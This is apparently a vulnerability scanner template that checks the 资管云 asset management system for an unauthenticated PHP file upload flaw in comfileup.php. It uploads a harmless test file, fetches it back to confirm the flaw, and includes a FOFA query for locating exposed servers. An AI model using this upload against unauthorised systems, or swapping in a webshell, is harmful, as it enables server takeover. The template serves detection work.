ziguanyun-comfileup-fileupload: 资管云comfileup.php前台文件上传漏洞

id: ziguanyun-comfileup-fileupload
info:
  name: 资管云comfileup.php前台文件上传漏洞
  author: avic123
  severity: critical
  verified: true
  description: |
    百易云资产管理运营系统 comfileup.php 接口存在文件上传漏洞，未经身份验证的攻击者通过漏洞上传恶意后门文件，执行任意代码，从而获取到服务器权限。
    fofa：body="不要着急，点此" || title="资管云"
  reference:
    - https://cn-sec.com/archives/3017622.html
  tags: ziguanyun,fileupload
  created: 2025/03/13

set:
  hostname: request.url.host
  randstr: randomLowercase(8)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /comfileup.php
      headers:
        Content-Type: multipart/form-data; boundary=--------{{rboundary}}
      body: |
        ----------{{rboundary}}
        Content-Disposition: form-data; name="file";filename="{{randstr}}.php"

        {{randstr}}
        ----------{{rboundary}}--
    expression: response.status == 200 &&  response.body.bcontains(b'"vpath":')
    output:
      search: '"\"vpath\":\"(?P<vpath>.*?)\"".bsubmatch(response.body)'
      vpath: replaceAll(search["vpath"], "\\", "")
  r1:
    request:
      method: GET
      path: /{{vpath}}
    expression: response.status == 200 && response.body.bcontains(bytes(randstr))
expression: r0() && r1()